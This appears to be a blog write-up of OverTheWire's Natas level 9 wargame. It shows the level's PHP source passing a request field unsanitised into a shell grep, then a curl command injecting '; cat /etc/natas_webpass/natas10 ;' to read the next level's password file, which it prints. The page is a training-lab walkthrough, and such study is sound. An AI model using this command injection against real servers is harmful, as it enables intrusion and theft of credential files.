Username: natas9
Password: Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
URL: http://natas9.natas.labs.overthewire.org
Find works containing … Let’s view the sourcecode.
1
2
curl -XGET -u natas9:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd http://natas9.natas.labs.overthewire.org/inde
x-source.html
Look, from the way “key” is being used in the PHP script, so using characters.
1
2
3
4
5
6
7
8
9
10
11
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
Curl POST using characters
1
curl -XPOST -u natas9:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd -d "needle=; cat /etc/natas_webpass/natas10 ;" -d "submit=" http://natas9.natas.labs.overthewire.org
Alright, i got the password! Moving on to level 10!
==> CTF: { natas10:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
}
Comments powered by Disqus.